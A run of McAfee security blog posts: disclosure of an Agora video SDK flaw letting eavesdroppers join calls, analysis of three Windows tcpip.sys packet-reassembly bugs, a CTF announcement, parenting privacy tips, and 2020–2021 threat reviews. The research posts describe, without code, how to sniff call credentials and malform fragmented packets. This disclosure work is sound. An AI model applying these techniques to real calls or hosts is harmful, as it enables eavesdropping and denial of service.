Clubhouse has made headlines recently as one of the newest players in the social networking sphere, rising in popularity after a series of high-profile users including Elon Musk, Kanye West and influencers in various geographies posted about the platform. Released in April of 2020, Clubhouse quickly carved out a niche in Chinese social media as the platform to discuss sensitive social and political topics – perhaps aided by its invite-only approach to membership – and the spotlight shined on it by these key players further propelled it into viral status early this year. Perhaps unsurprisingly, the application was blocked for use in China on February 8th, 2021.
Last week, Stanford Internet Observatory (SIO) released research regarding the popular Clubhouse app’s use of Agora real-time engagement software and suggested that Agora could have provided the Chinese government access to Clubhouse user information and communications. While the details of Stanford’s disclosure focus on the audio SDK compared to our work on the video SDK, the functionality and flaw are similar to our recent disclosure, CVE-2020-25605. This includes the plaintext transmission of app ID, channel ID and token – credentials necessary to join either audio or video calls. We can confirm that Clubhouse updated to the most recent version of the Agora SDK on February 16th – just a day prior to our public disclosure.
Despite the recent noise surrounding Clubhouse, the reality is that this application is just one of many applications that leverage the Agora SDK. Among others, we investigated the social apps eHarmony, Skout, and MeetMe, along with several widely-used healthcare apps, some of which have a significantly larger user base. For example, MeetGroup (comprised of several apps) reported approximately 18 million monthly users compared to Clubhouse, which had approximately 600k total users as of December 2020.
We felt it was important to highlight these data points and are continuing to investigate these applications as well as monitor any potential instances of malicious actors exploiting this vulnerability. Given that Agora has released an updated SDK that fixes the call setup issues, vulnerable applications should have already switched to the secure calling SDK, thus protecting the sensitive audio and video call data as many claim to do. With that in mind, we decided to check back in with some of the Agora-based apps we previously investigated to confirm whether they had updated to the patched version. We were surprised to see many, as of February 18, 2020, still had not:
| App Name | Installs | App Version | App Version Date | Updated Agora SDK |
| MeetMe | 50,000,000+ | 14.24.4.2910 | 2/9/2021 | Yes |
| LOVOO | 50,000,000+ | 93.0 | 2/15/2021 | No |
| Plenty of Fish | 50,000,000+ | 4.36.0.1500755 | 2/5/2021 | No |
| SKOUT | 50,000,000+ | 6.32.0 | 2/3/2021 | Yes |
| Tagged | 10,000,000+ | 9.32.0 | 12/29/2020 | No |
| GROWLr | 1,000,000+ | 16.1.1 | 2/11/2021 | No |
| eharmony | 5,000,000+ | 8.16.2 | 2/5/2021 | Yes |
| Clubhouse | 2,000,000+ | 0.1.2.8 | 2/16/2021 | Yes |
| Practo | 5,000,000+ | 4.93 | 1/26/2021 | No |
With the context around censorship and basic privacy concerns, it will be interesting to see if these and many other apps using the vulnerable SDK update quickly, or even ever, and what kind of lasting effects these types of findings have on users’ trust and confidence in social media platforms.
For more on McAfee ATR’s research into the Agora SDK, please see our technical research blog.
For information on how users can protect themselves when using such apps, please see our consumer safety tips blog.
The post Beyond Clubhouse: Vulnerable Agora SDKs Still in Widespread Use appeared first on McAfee Blogs.
The McAfee Advanced Threat Research (ATR) team is committed to uncovering security issues in both software and hardware to help developers provide safer products for businesses and consumers. We recently investigated and published several findings on a personal robot called “temi”, which can be read about in detail here. A byproduct of our robotic research was a deeper dive into a video calling software development kit (SDK) created by Agora.io. Agora’s SDKs are used for voice and video communication in applications across multiple platforms. Several of the most popular mobile applications utilizing the vulnerable SDK included social apps such as eHarmony, Plenty of Fish, MeetMe and Skout, and healthcare apps such as Talkspace, Practo and Dr. First’s Backline. In early 2020, our research into the Agora Video SDK led to the discovery of sensitive information sent unencrypted over the network. This flaw, CVE-2020-25605, may have allowed an attacker to spy on ongoing private video and audio calls. At the time of writing, McAfee is unaware of any instances of this vulnerability being exploited in the wild. We reported this research to Agora.io on April 20, 2020 and the company, as of December 17th, 2020 released a new SDK, version 3.2.1, which mitigated the vulnerability and eliminated the corresponding threat to users.
Encryption has increasingly become the new standard for communication; often even in cases where data privacy is not explicitly sensitive. For example, all modern browsers have begun to migrate to newer standards (HTTP/2) which enforce encryption by default, a complete change from just a few years ago where a significant amount of browsing traffic was sent in clear text and could be viewed by any interested party. While the need to protect truly sensitive information such as financial data, health records, and other personally identifiable information (PII) has long been standardized, consumers are increasingly expecting privacy and encryption for all web traffic and applications. Furthermore, when encryption is an option provided by a vendor, it must be easy for developers to implement, adequately protect all session information including setup and teardown, and still meet the developers’ many use cases. These core concepts are what led us to the findings discussed in this blog.
As part of our analysis of the temi ecosystem, the team reviewed the Android application that pairs with the temi robot. During this analysis, a hardcoded key was discovered in the app.
This raised the question: What is this key and what is it used for? Thanks to the detailed logging provided by the developers, we had a place to start, https://dashboard.agora.io.
According to the website – “Agora provides the SDKs and building blocks to enable a wide range of real-time engagement possibilities” In the context of our initial robot project, it simply provides the technology required to make audio and video calls. In a broader context, Agora is used for a variety of applications including social, retail, gaming and education, among others.
Agora allows anyone to create an account and download its SDKs for testing from its website, which also provides extensive documentation. Its GitHub repositories also provide detailed sample projects on how to use the product. This is amazing for developers, but also very useful to security researchers and hackers. Using the logging comments from the above code we can look at the documentation to understand what an App ID is and what it is used for.
The last two sentences of this documentation really grabbed our attention. We had found a key which is hardcoded into an Android application that “anyone can use on any Agora SDK” and is “prudent to safeguard”.
Agora provides several different SDKs with different functionality. Since we encountered Agora through use of the video SDK, we decided to focus on only this SDK for the rest of this research. Simulating the mindset of an attacker, we began to investigate what this App ID or key could be used for. Furthermore, in the context of the video SDK, the question evolved into whether an attacker could interact with this video and audio traffic.
Since Agora provides sample projects and allows for free developer accounts, the best way to understand what potential attack vectors exists is to use these tools. Examining the GitHub example projects and the following associated documentation, we can learn exactly what is needed and how a normal user is connected to a video call.
Here we see in the example code the App ID being used to create a new “RtcEngine” object. As can be seen in the documentation, creating an RtcEngine is the foundation and first step needed to create any video call.
If we continue to examine the example code and look at the documentation’s steps for connecting to a call, we come to a function named “joinChannel”.
This function is responsible for connecting an end user to a call. In the example code, there are four parameters, three of which are hardcoded and one of which can be set to null. Without doing too much more digging, it appears that while Agora lists the App ID as important, it is not the only component needed to join a video call. An attacker would also require the values passed to the joinChannel API in order to join a call. If we assume that these values are only hardcoded for the purpose of a demo application, how would an attacker obtain the other necessary values? Code is an awesome resource, but when it comes to a network conversation the truth is in the packets. By running this example code and capturing traffic with Wireshark, we can further our understanding of how this system works.
When looking at the traffic, what immediately stands out is the values passed to joinChannel in the example code above. They are sent in plaintext across the network, in addition to the App ID needed to initiate the RtcEngine. Considering this is an example app, it is important to understand the difference between a test scenario and a production scenario. As noted in the code in Figure 5, the “token” parameter is being set to null. What is a token in this context, and would that affect the security of these parameters? We can use the Agora documentation to understand that a token is designed to be randomly generated and provide more security for a session.
With tokens being an option, it is important we see what the traffic looks like in a scenario where the token parameter is not null. The use of a token is hopefully what we find in production or at least is what is recommended in production by Agora.
Running the example application again, this time using a token and capturing traffic, we can discover that the token is also a non-issue for an attacker.
The token is sent in plaintext just like the other parameters! You may have noticed this capture does not show the App ID; in this case the App ID is still sent in plaintext, in a different packet.
Information being sent in plaintext across the network to initiate a video call is one thing, but can this actually be used by an attacker to spy on a user? Will the call support a third party? Will the user be notified of a new connection? In order to answer these questions, we can use the example applications provided by Agora to run some tests. The diagram below shows the scenario we are going to try and create for testing.
The first step for an attacker sitting on the network is to be able to identify the proper network traffic containing the sensitive information. With this information from the network packets, they can then attempt to join the call that is in progress. Using a Python framework called Scapy, we built a network layer in less than 50 lines of code to help easily identify the traffic the attacker cares about. This was done by reviewing the video call traffic and reverse engineering the protocol. Like a lot of reversing, this is done by using context clues and a lot of “guess and check”. Strings help us identify the use for certain fields and provide clues to what the fields around them might be. In some cases, fields are still unknown; however, this is normal. An attacker or researcher only needs to decipher enough of a packet to make an attack possible.
The above code identifies, parses, and displays in human readable form, only the important information in the three main packet types discovered in the Agora traffic. From here we can automate the scenario outlined in Figure 10 using Python with a few modifications to the example apps. It totally works! The demo video below shows an attacker sniffing network traffic to gather the call information and then launching their own Agora video application to join the call, completely unnoticed by normal users.
Besides using a token, were there any other security measures available to developers that might have mitigated the impact of this vulnerability? Per Agora’s documentation, the developer has the option to encrypt a video call. We also tested this, and the App ID, Channel Name, and Token are still sent in plaintext when the call is encrypted. An attacker can still get these values; however, they cannot view the video or hear the audio of the call. Despite this, the attacker can still utilize the App ID to host their own calls at the cost of the app developer. We will discuss in the next section why, even though encryption is available, it is not widely adopted, making this mitigation largely impractical.
This research started with the discovery of an App ID hardcoded into “temi”, the personal robot we were researching. Agora documents clearly on its website that this App ID should be “kept safe”, which we discovered as a vulnerability while researching temi. However, further examination shows that even if temi had kept this value safe, it is sent in cleartext over the network along with all the other values needed to join the call. So how does this impact other consumers of the Agora SDK outside of temi?
Agora’s website claims – “Agora’s interactive voice, video, and messaging SDKs are embedded into mobile, web and desktop applications across more than 1.7 billion devices globally.” To ensure our comparisons would be reasonable, we looked only at other Android applications which used the video SDK. We also focused on apps with a very large install base.
To give a quick cross-section of apps on Google Play that utilize Agora, let’s focus on MeetMe, Skout, Nimo TV, and, of course, temi. Google Play reports the number of installs at 50 million+ each for MeetMe and Skout, 10 million+ for Nimo TV and 1000+ for temi. By examining the applications’ decompiled code, we can easily determine all four of these applications have hardcoded App IDs and do not enable encryption. We see very similar code as below in all the applications:
The most important line here is the call to setEncryptionSecret which is being passed the “null” parameter. We can reference the Agora documentation to understand more about this call.
Even though the encryption functions are being called, the application developers are actually disabling the encryption based on this documentation. A developer paying close attention might ask if this is the only place the API is being called. Could it be set elsewhere? The team searched the decompiled code for all the applications reviewed and was unable to find any other instance of the API call, leading us to believe this is the only call being made. With this in mind, the cleartext traffic has a greater impact that goes well beyond a personal robot application to millions – potentially billions – of users. Without encryption enabled and the setup information passed in cleartext, an attacker can spy on a very large range of users.
Although Agora should not have been sending this sensitive information unencrypted, if it offers an encrypted traffic option, why is it not being used? This would at least protect the video and audio of the call, even though an attacker is able to join. While it is impossible to be certain, one reason might be because the Agora encryption options require a pre-shared key, which can be seen in its example applications posted on GitHub. The Agora SDK itself did not provide any secure way to generate or communicate the pre-shared key needed for the phone call, and therefore this was left up to the developers. Many calling models used in applications want to give the user the ability to call anyone without prior contact. This is difficult to implement into a video SDK post-release since a built-in mechanism for key sharing was not included. It is also worth noting that, generally, the speed and quality of a video call is harder to maintain while using encryption. These may be a few of the reasons why these application developers have chosen to not use the encryption for the video and audio. Now that the SDK properly and transparently handles encryption of call setup, developers have the opportunity to leverage a more secure method of communication for traffic. Additionally, developers still have the option to add full encryption to further protect video and audio streams.
Agora has published a list of best practices for all its developers and partners here, which does include use of encryption when possible. We generally recommend following vendors’ security best practices as they are designed to apply to the product or service directly. In this case, the vulnerability would still exist; however, its effectiveness would be extremely limited if the published best practices were followed. Although we have found Agora’s recommendations were largely not being adopted, Agora has been actively communicating with customers throughout the vulnerability disclosure process to ensure its recommended processes and procedures are widely implemented.
Privacy is always a top concern for consumers, but also remains an enticing threat vector for attackers. If we look at the two biggest apps we investigated (MeetMe and Skout), both are rated for mature audiences (17+) to “meet new people” and both advertise over 100 million users. MeetMe also mentions “flirting” on the Google Play store and its website has testimonies about people meeting the “love of their life”. Although they are not explicitly advertised as dating apps, it would be reasonable to draw the conclusion that it is at least one of their functions. In the world of online dating, a breach of security or the ability to spy on calls could lead to blackmail or harassment by an attacker. Other Agora developer applications with smaller customer bases, such as the temi robot, are used in numerous industries such as hospitals, where the ability to spy on conversations could lead to the leak of sensitive medical information.
One goal of the McAfee Advanced Threat Research team is to identify and illuminate a broad spectrum of threats in today’s complex and constantly evolving landscape. As per McAfee’s responsible disclosure policy, McAfee ATR informed Agora as soon as the vulnerability was confirmed to be exploitable. Agora was very receptive and responsive to receiving this information and further advanced its current security capabilities by providing developers with an SDK option (version 3.2.1) to encrypt the initial call setup information, mitigating this vulnerability. We have tested this new SDK and can confirm it fully mitigates CVE-2020-25605. At the time of writing, McAfee is unaware of any instances of this vulnerability being exploited in the wild, which demonstrates another powerful success story of mitigating an issue which may have affected millions of users before it is used for malicious purposes. Our partnership with Agora resulted in the release of a more secure SDK which has empowered developers across multiple companies to produce more secure video calling applications. We strongly recommend any development team which uses the Agora SDK to upgrade to the latest version, follow Agora’s outlined best practices, and implement full encryption wherever possible.
CVE: CVE-2020-25605
CVSSv3 Rating: 7.5/6.7
CVSS String: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P/RL:O/RC:C
CVE Description: Cleartext transmission of sensitive information in Agora Video SDK prior to 3.1 allows a remote attacker to obtain access to audio and video of any ongoing Agora video call through observation of cleartext network traffic.
The post Don’t Call Us We’ll Call You: McAfee ATR Finds Vulnerability in Agora Video SDK appeared first on McAfee Blogs.
In fact, looking back at just the last 8 months of Microsoft patches, we’ve tracked at least 25 significant vulnerabilities directly related to the Windows network stack. These have ranged from DNS to NTFS, SMB to NFS and recently, several tcp/ip bugs in fragmentation and packet reassembly for IPv4 and IPv6.
That brings us to this month’s patch Tuesday, which contains several more high-profile critical vulnerabilities in tcpip.sys. We’ll focus on three of these, including 2 marked as “remote code execution” bugs, which could lead to wormability if code execution is truly possible, and a persistent denial-of-service vulnerability which could cause a permanent Blue Screen of Death on the latest versions of Windows.
There are clear similarities between all 3, indicating both Microsoft and researchers external to Microsoft are highly interested in auditing this library, and are having success in weeding out a number of interesting bugs. The following is a short summary of each bug and the progress we have made to date in analyzing them.
What is CVE-2021-24086?
The first vulnerability analyzed in this set is a Denial-of-Service (DOS) attack. Generally, these types of bugs are rather uninteresting; however, a few can have enough of an impact that although an attacker can’t get code execution, they are well worth discussing. This is one of those few. One of the things that boost this vulnerability’s impact is the fact it is internet routable and many devices using IPv6 can be directly accessible over the internet, even when behind a router. It is also worth noting that the default Windows Defender Firewall configuration does not mitigate this attack. In a worst-case scenario, an attacker could spray this attack and put it on a continuous loop to potentially cause a “permanent” or persistent DOS to a wide range of systems.
This vulnerability exists when Windows’ tcpip.sys driver attempts to reassemble fragmented IPv6 packets. As a result, this attack requires many packets to be successful. The root cause of this vulnerability is a NULL pointer dereference which occurs in Ipv6pReassembleDatagram. The crash occurs when reassembling a packet with around 0xffff bytes of extension headers. It should be impossible to send a packet with that many bytes in the extension headers according to the RFC, however this is not considered in the Ipv6pReceiveFragments function when calculating the unfragmented length. Leveraging a proof-of-concept through the Microsoft MAPP program, McAfee was easily able to reproduce this bug, demonstrating it has the potential to be seen in the wild.
What is CVE-2021-24094?
This vulnerability is classified by Remote Code Execution (RCE), though our analysis thus far, code execution comes with unique challenges. Similar to CVE-2021-24086, this issue involves IPv6 packet reassembly by the Windows tcpip.sys driver. It is different from 24086 in that it doesn’t require a large packet with extension headers, and it is not a NULL pointer dereference. Instead, it is a dangling pointer which, if the right packet data is sprayed from an attacker over IPv6, will causes the pointer to be overwritten and reference an arbitrary memory location. When the data at the pointer’s target is accessed, it causes a page fault and thus a Blue Screen of Death (BSOD). Additionally, an attacker can create persistence of the DoS by continually pointing the attack at a victim machine.
While the reproduction of this issue causes crashes on the target in all reproductions so far, it’s unclear how easy it would be to force the pointer to a location that would cause valid execution without crashing. The pointer would need to point to a paged-in memory location that had already been written with additional data that could manipulate the IPv6 reassembly code, which would likely not come from this attack alone, but may require a separate attack to do so.
What is CVE-2021-24074?
CVE-2021-24074 is a potential RCE in tcpip.sys triggered during the reassembly of fragmented IPv4 packets in conjunction with a confusion of IPv4 IP Options. During reassembly, it is possible to have two fragments with different IP Options; this is against the IPv4 standard, but Windows will proceed further, while failing to perform proper sanity checks for the respective options. This type confusion can be leveraged to trigger an Out of Bounds (OOB) read and write by “smuggling” an IP option Loose source and record route (LSRR) with invalid parameters. This option is normally meant to specify the route a packet should take. It has a variable length, starts with a pointer field, and is followed by a list of IP addresses to route the packet through.
By leveraging the type confusion, we have an invalid pointer field that will point beyond the end of the routing list provided in the packet. When the routing function Ipv4pReceiveRoutingHeader looks up the next hop for the packet, it will OOB read this address (as a DWORD) and perform a handful of checks on it. If these checks are successful, the IP stack will attempt to route the packet to its next hop by copying the original packet and then writing its own IP address in the record route. Because this write relies on the same invalid pointer value as before, this turns out to be an OOB write (beyond the end of the newly allocated packet). The content of this OOB write is the IP address of the target machine represented as a DWORD (thus, not controlled by the attacker).
Microsoft rates this bug as “Exploitation more likely”, however exploitation might not be as straightforward as it sounds. For an attack to succeed, one would have to groom the kernel heap to place a certain value to be read during the OOB read, and then make it so the OOB write would corrupt something of interest. Likely, a better exploitation primitive would need to be established first in order to successfully exploit the bug. For instance, leveraging the OOB write to corrupt another data structure that could lead to information disclosure and/or a write-what-where scenario.
From a detection standpoint, the telltale signs of an active exploitation would be fragmented packets whose IP Options vary between fragments. For instance, the first fragment would not contain an LSRR option, while the second fragment would. This would likely be accompanied by a heavy traffic meant to shape the kernel heap.
Similarities and Impact Assessment
There are obvious similarities between all three of these vulnerabilities. Each is present in the tcpip.sys library, responsible for parsing IPv4 and IPv6 traffic. Furthermore, the bugs all deal with packet reassembly and the RCE vulnerabilities leverage similar functions for IPv4 and IPv6 respectively. Given a combination of public and Microsoft-internal attribution, it’s clear that researchers and vendor alike are chasing down the same types of bugs. Whenever we see vulnerabilities in network stacks or Internet-routed protocols, we’re especially interested to determine difficulty of exploitation, wormability, and impact. For vulnerabilities such as the RCEs above, a deep dive is essential to understand the likelihood of these types of flaws being built into exploit kits or used in targeted attacks and are prime candidates for threat actors to weaponize. Despite the real potential for harm, the criticality of these bugs is somewhat lessened by a higher bar to exploitation and the upcoming patches from Microsoft. We do expect to see additional vulnerabilities in the TCP/IP stack and will continue to provide similar analysis and guidance. As it is likely to take some time for threat actors to integrate these vulnerabilities in a meaningful way, the best course of action, as always, is widespread mitigation via patching.
The post Researchers Follow the Breadcrumbs: The Latest Vulnerabilities in Windows’ Network Stack appeared first on McAfee Blogs.
McAfee’s Advanced Threat Research team just completed its second annual capture the flag (CTF) contest for internal employees. Based on tremendous internal feedback, we’ve decided to open it up to the public, starting with a set of challenges we designed in 2019.
We’ve done our best to minimize guesswork and gimmicks and instead of flashy graphics and games, we’ve distilled the kind of problems we’ve encountered many times over the years during our research projects. Additionally, as this contest is educational in nature, we won’t be focused as much on the winners of the competition. The goal is for anyone and everyone to learn something new. However, we will provide a custom ATR challenge coin to the top 5 teams (one coin per team). All you need to do is score on 2 or more challenges to be eligible. When registering for the contest, make sure to use a valid email address so we can contact you.
The ATR CTF will open on Friday, February 5th at 12:01pm PST and conclude on Thursday, February 18th, at 11:59pm PST.
Click Here to Register!
If you’ve never participated in a CTF before, the concept is simple. You will:
NOTE: The format of all flags is ATR[], placing the flag, between the square brackets. For example: ATR[1a2b3c4d5e]. The flag must be submitted in full, including the ATR and square bracket parts.
The harder the challenge, the higher the points! Points range from 100 to 500. All CTF challenges are designed to practice real-world security concepts, and this year’s categories include:
The contest is set up to allow teams as groups or individuals. If you get stuck, a basic hint is available for each challenge, but be warned – it will cost you points to access the hint and should only be used as a last resort.
McAfee employees are not eligible for prizes in the public competition but are welcome to compete.
When registering, please use a valid email address, for any password resets and to be contacted for prizes. We will not store or save any email addresses or contact you for any non-contest related reasons.
Please wait until the contest ends to release any solutions publicly.
No cooperation between teams with independent accounts. Sharing of keys or providing/revealing hints to other teams is cheating, please help us keep this contest a challenge for all!
Please refrain from attacking the competition infrastructure. If you experience any difficulties with the infrastructure itself, questions can be directed to the ATR team using the email in the Contact Us section. ATR will not provide any additional hints, feedback, or clues. This email is only for issues that might arise, not related to individual challenges.
Absolutely no sabotaging of other competing teams, or in any way hindering their independent progress.
No brute forcing of challenge flag/ keys against the scoring site is accepted or required to solve the challenges. You may perform brute force attacks if necessary, on your own endpoint to determine a solution if needed. If you’re not sure what constitutes a brute force attack, please feel free to contact us.
DoSing the Capture–the–Flag (CTF) platform or any of the challenges is forbidden
Additional rules are posted within the contest following login and should be reviewed by all contestants prior to beginning.
Many of these challenges are designed with Linux end-users in mind. However, if you are a Windows user, Windows 10 has a Linux subsystem called ‘WSL’ that can be useful, or a Virtual Machine can be configured with any flavor of Linux desired and should work for most purposes.
Happy hacking!
Find a list of useful tools and techniques for CTF competitions. While it’s not exhaustive or specifically tailored to this contest, it should be a useful starting point to learn and understand tools required for various challenges.
While it may be difficult for us to respond to emails, we will do our best – please use this email address to reach us with infrastructure problems, errors with challenges/flag submissions, etc. We are likely unable to respond to general questions on solving challenges.
How much do you know about McAfee’s industry-leading research team?
ATR is a team of security researchers that deliver cutting-edge vulnerability and malware research, red teaming, operational intelligence and more! To read more about the team and some of its highlighted research, please follow this link to the ATR website.
By participating in the contest, you agree to be bound to the Official Rules and to release McAfee and its employees, and the hosting organization from any and all liability, claims or actions of any kind whatsoever for injuries, damages or losses to persons and property which may be sustained in connection with the contest. You acknowledge and agree that McAfee et al is not responsible for technical, hardware or software failures, or other errors or problems which may occur in connection with the contest. By participating you allow us to publish your name. The collection and use of personal information from participants will be governed by the McAfee Private Notice.
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Depending on your life experiences, the phrase (or country song by Eric Church) “two pink lines” may bring up a wide range of powerful emotions. I suspect, like many fathers and expecting fathers, I will never forget the moment I found out my wife was pregnant. You might recall what you were doing, or where you were and maybe even what you were thinking. As a professional ethical hacker, I have been told many times – “You just think a little differently about things.” I sure hope so, since that’s my day job and sure enough this experience wasn’t any different. My brain immediately asked the question, “How am I going to ensure my family is protected from a wide range of cyberthreats?” Having a newborn opens the door to all sorts of new technology and I would be a fool not to take advantage of all devices that makes parenting easier. So how do we do this safely?
The security industry has a well-known concept called the “principle of least privilege. “This simply means that you don’t give a piece of technology more permissions or access than it needs to perform its primary function. This can be applied well beyond just technology that helps parents; however, for me it’s of extra importance when we talk about our kids. One of the parenting classes I took preparing for our newborn suggested we use a baby tracking phone app. This was an excellent idea, since I hate keeping track of anything on paper. So I started looking at a few different apps for my phone and discovered one of them asked for permission to use “location services,” also known as GPS, along with access to my phone contacts. This caused me to pause and ask: Why does an app to track my baby’s feeding schedule need to know where I am? Why does it need to know who my friends are? These are the types of questions parents should consider before just jumping into the hottest new app. For me, I found a different, less popular app which has the same features, just with a little less access.
It’s not always as easy to just “find something else.” In my house, “if momma ain’t happy, nobody is happy.” So, when my wife decided on a specific breast pump that came with Bluetooth and is internet enabled, that’s the one she is going to use. The app backs up all the usage data to a server in the cloud. There are many ways that this can be accomplished securely, and it is not necessary a bad feature, but I didn’t feel this device benefited from being internet connected. Therefore, I simply lowered its privileges by not allowing it internet access in the settings on her phone. The device works perfectly fine, she can show the doctor the data from her phone, yet we have limited our online exposure and footprint just a little more. This simple concept of least privilege can be applied almost everywhere and goes a long way to limiting your exposure to cyber threats.
I think one of the most sought after and used products for new parents is the baby monitor or baby camera. As someone who has spent a fair amount of time hacking cameras (or cameras on wheels) this was a large area of concern for me. Most cameras these days are internet connected and if not, you often lose the ability to view the feed on your phone, which is a huge benefit to parents. So how, as parents, do we navigate this securely? While there is no silver bullet here, there are a few things to consider. For starters, there are still many baby cameras on the market that come with their own independent video screen. They generally use Wi-Fi and are only accessible from home. If this system works for you, use it. It is always more secure to have a video system which is not externally accessible. If you really want to be able to use your phone, consider the below.
Most parents, especially new ones, like to ensure that anyone that watches their children is thoroughly vetted. There are a ton of services out there to do this for babysitters and nannies, however it’s not always as easy for vetting the companies that create the devices we put in our homes. So how do we determine what is safe? My father used to tell me: “It’s how we respond to our mistakes that makes the difference.” When researching a company or device, should you find that the device has been found to have a vulnerability, often the response time and accountability from the vendor can tell you if it’s a company you should be investing in. Some things to look for include:
These answers can often be discovered on a company’s website or in release notes, which are generally attached to an update of a piece of software. Take a minute to read the notes and see if the company is making security updates. You don’t need to understand all the details, just knowing they take security seriously enough to update frequently is important. This can help tip the scales when deciding between devices or apps.
Through my preparation for becoming a new parent, I constantly read in books and was told by professionals, “Remember, you can do this!” Cybersecurity in the context of being a parent is no different. Every situation is different, and it is important to do what works with you and your family. As parents, we shouldn’t be afraid to use all the cool new gadgets that are emerging on the market, but instead educate ourselves on how to limit our risk. Which features do I need, which ones can I do without? Remember always follow a vendor’s recommendations and best practices, and of course remember to breathe!
The post Two Pink Lines appeared first on McAfee Blogs.
As we gratefully move forward into the year 2021, we have to recognise that 2020 was as tumultuous in the digital realm as it has in the physical world. From low level fraudsters leveraging the pandemic as a vehicle to trick victims into parting with money for non-existent PPE, to more capable actors using malware that has considerably less prevalence in targeted campaigns. All of which has been played out at a time of immense personal and professional difficulties for millions of us across the world.
What started as a trickle of phishing campaigns and the occasional malicious app quickly turned to thousands of malicious URLs and more-than-capable threat actors leveraging our thirst for more information as an entry mechanism into systems across the world. There is no question that COVID was the dominant theme of threats for the year, and whilst the natural inclination will be to focus entirely on such threats it is important to recognise that there were also very capable actors operating during this time.
For the first time we made available a COVID-19 dashboard to complement our threat report to track the number of malicious files leveraging COVID as a potential lure. What this allows is real time information on the prevalence of such campaigns, but also clarity about the most targeted sectors and geographies. Looking at the statistics from the year clearly demonstrates that the overarching theme is that the volume of malicious content increased.
Whilst of course this a major concern, we must recognise that there were also more capable threat actors operating during this time.
The latter part of 2020 saw headlines about increasing ransom demands and continued successes from ransomware groups. An indication as to the reason why was provided in early 2020 in a blog published by Thomas Roccia that revealed “The number of RDP ports exposed to the Internet has grown quickly, from roughly three million in January 2020 to more than four and a half million in March.”
With RDP a common entry vector used predominantly by post intrusion ransomware gangs, there appears some explanation as to the reason why we are seeing more victims in the latter part of 2020. Indeed, in the same analysis from Thomas we find that the most common passwords deployed for RDP are hardly what we would regard as strong.
If we consider the broader landscape of RDP being more prevalent (we have to assume due to the immediate need for remote access due to the lockdowns across the globe), the use of weak credentials, then the success of ransomware groups become very evident. Indeed, later in the year we detailed our research into the Netwalker ransomware group that reveals the innovation, affiliate recruitment and ultimately financial success they were able to gain during the second quarter of 2020.
The year also provided us with the added gifts of major vulnerabilities. In August, for example, there was a series of zero-day vulnerabilities in a widely used, low-level TCP/IP software library developed by Treck, Inc. Known as Ripple 20, the affect to hundreds of millions of devices resulted in considerable concern related to the wider supply chain of devices that we depend upon. In collaboration with JSOF, the McAfee ATR team developed a Detection Logic and Signatures for organizations to detect these vulnerabilities.
Of course the big vulnerabilities did not end there; we had the pleasure of meeting BadNeighbour, Drovorub, and so many more. The almost seemingly endless stream of vulnerabilities with particularly high CVSS Scores has meant that the need to patch very high on the list of priorities.
As we closed out 2020, we were presented with details of ‘nation states’ carrying out sophisticated attacks. Whilst under normal circumstances such terminology is something that should be avoided, there is no question that the level of capability we witness from certain threat campaigns are a world away from the noisy COVID phishing scams.
In August of 2020, we released the MVISION Insights dashboard which provides a free top list of campaigns each week. This includes, most recently, tracking against the SUNBURST trojan detailed in the SolarWinds attack, or the tools stolen in the FireEye breach. What this demonstrates is that whilst prevalence is a key talking point, there exists capable threat actors targeting organizations with real precision.
For example, the Operation North Star campaign in which the threat actors deployed an Allow and Block list of targets in order to limit those they would infect with a secondary implant.
The term sophisticated is overused, and attribution is often too quickly relegated to the category of nation state. However, the revelations have demonstrated that there are those campaigns where the attack did use capabilities not altogether common and we are no doubt witnessing a level of innovation from threat groups that is making the challenge of defence harder.
What is clear is that 2020 was a challenging year, but as we try and conclude what 2021 has in store, we have to celebrate the good news stories. From initiatives such as No More Ransom continuing to tackle ransomware, to the unprecedented accessibility of tools that we can all use to protect ourselves (e.g. please check ATR GitHub repo, but recognise there are more).
Our experts share their 2021 predictions for the new year and how to protect yourself and your enterprise.
The post A Year in Review: Threat Landscape for 2020 appeared first on McAfee Blogs.
The December 2020 revelations around the SUNBURST campaigns exploiting the SolarWinds Orion platform have revealed a new attack vector – the supply chain – that will continue to be exploited.
The ever-increasing use of connected devices, apps and web services in our homes will also make us more susceptible to digital home break-ins. This threat is compounded by many individuals continuing to work from home, meaning this threat not only impacts the consumer and their families, but enterprises as well.
Attacks on cloud platforms and users will evolve into a highly polarized state where they are either “mechanized and widespread” or “sophisticated and precisely handcrafted”.
Mobile users will need to beware of phishing or smishing messages aimed at exploiting and defrauding them through mobile payment services.
The use of QR codes has notably accelerated during the pandemic, raising the specter of a new generation of social engineering techniques that seek to exploit consumers and gain access to their personal data.
Finally, the most sophisticated threat actors will increasingly use social networks to target high value individuals working in sensitive industry sectors and roles.
A new year offers hope and opportunities for consumers and enterprises, but also more cybersecurity challenges. I hope you find these helpful in planning your 2021 security strategies.
–Raj Samani, Chief Scientist and McAfee Fellow, Advanced Threat Research
Twitter @Raj_Samani
1. |
Supply Chain Backdoor Techniques to Proliferate |
On December 13, 2020, the cybersecurity industry learned nation-state threat actors had compromised SolarWinds’s Orion IT monitoring and management software and used it to distribute a malicious software backdoor called SUNBURST to dozens of that company’s customers, including several high-profile U.S. government agencies.
This SolarWinds-SUNBURST campaign is the first major supply chain attack of its kind and has been referred to by many as the “Cyber Pearl Harbor” that U.S. cybersecurity experts have been predicting for a decade and a half.
The campaign also represents a shift in tactics where nation state threat actors have employed a new weapon for cyber-espionage. Just as the use of nuclear weapons at the end of WWII changed military strategy for the next 75 years, the use of a supply chain attack has changed the way we need to consider defense against cyber-attacks.
This supply chain attack operated at the scale of a worm such as WannaCry in 2017, combined with the precision and lethality of the 2014 Sony Pictures or 2015 U.S. government Office of Personnel Management (OPM) attacks.
Within hours of its discovery, the magnitude of the campaign became frighteningly clear to organizations responsible for U.S. national security, economic competitiveness, and even consumer privacy and security.
It enables U.S. adversaries to steal all manners of information, from inter-governmental communications to national secrets. Attackers can, in turn, leverage this information to influence or impact U.S. policy through malicious leaks. Every breached agency may have different secondary cyber backdoors planted, meaning that there is no single recipe to evict the intrusion across the federal government.
While some may argue that government agencies are legitimate targets for nation-state spy craft, the campaign also impacted private companies. Unlike government networks which store classified information on isolated networks, private organizations often have critical intellectual property on networks with access to the internet. Exactly what intellectual property or private data on employees has been stolen will be difficult to determine, and the full extent of the theft may never be known.
This type of attack also poses a threat to individuals and their families given that in today’s highly interconnected homes, a breach of consumer electronics companies can result in attackers using their access to smart appliances such as TVs, virtual assistants, and smart phones to steal their information or act as a gateway to attack businesses while users are working remotely from home.
